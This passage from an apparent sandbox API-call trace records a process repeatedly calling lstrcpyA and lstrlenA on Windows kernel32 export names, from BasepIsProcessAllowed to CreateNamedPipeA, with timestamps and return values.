lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.596] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.596] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.596] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.596] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.596] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.596] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.596] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.596] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.596] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.596] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.597] lstrlenA (lpString="BEEP") returned 4 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.597] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.597] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.597] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.597] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.597] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.597] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.597] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.597] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.597] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.597] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.597] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.597] lstrlenA (lpString="CANCELIO") returned 8 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.597] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.597] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.597] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.598] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.598] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.598] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.598] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.598] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.598] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.598] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.598] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.598] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.598] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.598] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.598] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.598] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.598] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.598] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.598] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.599] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.599] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.599] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.599] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.599] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.599] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.599] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.599] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.599] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.599] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.599] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.600] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.600] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.600] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.600] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.600] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.600] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.600] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.600] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0147.600] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.600] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.600] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.600] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.600] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.600] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.600] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.601] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.601] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.601] lstrlenA (lpString="COPYFILE2") returned 9 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.601] lstrlenA (lpString="COPYFILEA") returned 9 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.601] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.601] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.601] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.601] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.601] lstrlenA (lpString="COPYFILEW") returned 9 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.601] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.601] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.601] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.601] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.601] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.601] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.602] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.602] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.602] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.602] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.602] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.602] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.602] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.602] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.602] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.602] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.602] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.602] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.602] lstrlenA (lpString="CREATEFIBER") returned 11 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.602] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.602] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.603] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.603] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.603] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.603] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.603] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.603] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.603] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.603] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.603] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.603] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.603] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.603] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.603] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.603] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.603] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.603] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.604] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.604] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.604] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.604] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.604] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.604] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.604] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.604] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.604] lstrlenA 